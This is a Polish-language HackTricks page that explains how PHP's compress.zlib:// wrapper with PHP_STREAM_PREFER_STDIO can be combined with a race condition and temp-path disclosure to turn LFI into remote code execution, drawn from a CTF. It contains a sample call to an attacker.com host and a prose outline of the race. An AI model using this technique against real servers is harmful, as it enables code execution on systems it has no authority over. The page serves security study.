LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

Wsparcie dla HackTricks

WhiteIntel to silnik wyszukiwania zasilany przez dark-web, który oferuje darmowe funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali skompromentowani przez złośliwe oprogramowanie kradnące.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:


compress.zlib:// i PHP_STREAM_PREFER_STDIO

Plik otwarty za pomocą protokołu compress.zlib:// z flagą PHP_STREAM_PREFER_STDIO może kontynuować zapisywanie danych, które przychodzą do połączenia później do tego samego pliku.

Oznacza to, że wywołanie takie jak:

file_get_contents("compress.zlib://http://attacker.com/file")

Wyśle żądanie o http://attacker.com/file, wtedy serwer może odpowiedzieć na żądanie ważną odpowiedzią HTTP, utrzymać połączenie otwarte i wysłać dodatkowe dane trochę później, które również zostaną zapisane w pliku.

Możesz zobaczyć te informacje w tej części kodu php-src w main/streams/cast.c:

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

Warunek wyścigu do RCE

Ten CTF został rozwiązany przy użyciu poprzedniego triku.

Atakujący sprawi, że serwer ofiary otworzy połączenie, odczytując plik z serwera atakującego za pomocą protokołu compress.zlib.

Podczas gdy to połączenie istnieje, atakujący wyeksfiltruje ścieżkę do utworzonego pliku tymczasowego (jest ujawniana przez serwer).

Podczas gdy połączenie jest nadal otwarte, atakujący wykorzysta LFI, ładując plik tymczasowy, który kontroluje.

Jednak w serwerze WWW istnieje sprawdzenie, które zapobiega ładowaniu plików zawierających <?. Dlatego atakujący wykorzysta Warunek wyścigu. W połączeniu, które jest nadal otwarte, atakujący wyśle ładunek PHP PO tym, jak serwer WWW sprawdzi, czy plik zawiera zabronione znaki, ale PRZED załadowaniem jego zawartości.

Aby uzyskać więcej informacji, sprawdź opis Warunku wyścigu i CTF w https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

WhiteIntel to silnik wyszukiwania zasilany dark-webem, który oferuje darmowe funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali skompromentowani przez złośliwe oprogramowanie kradnące.

Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.

Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za darmo pod adresem:

Wsparcie HackTricks

Last updated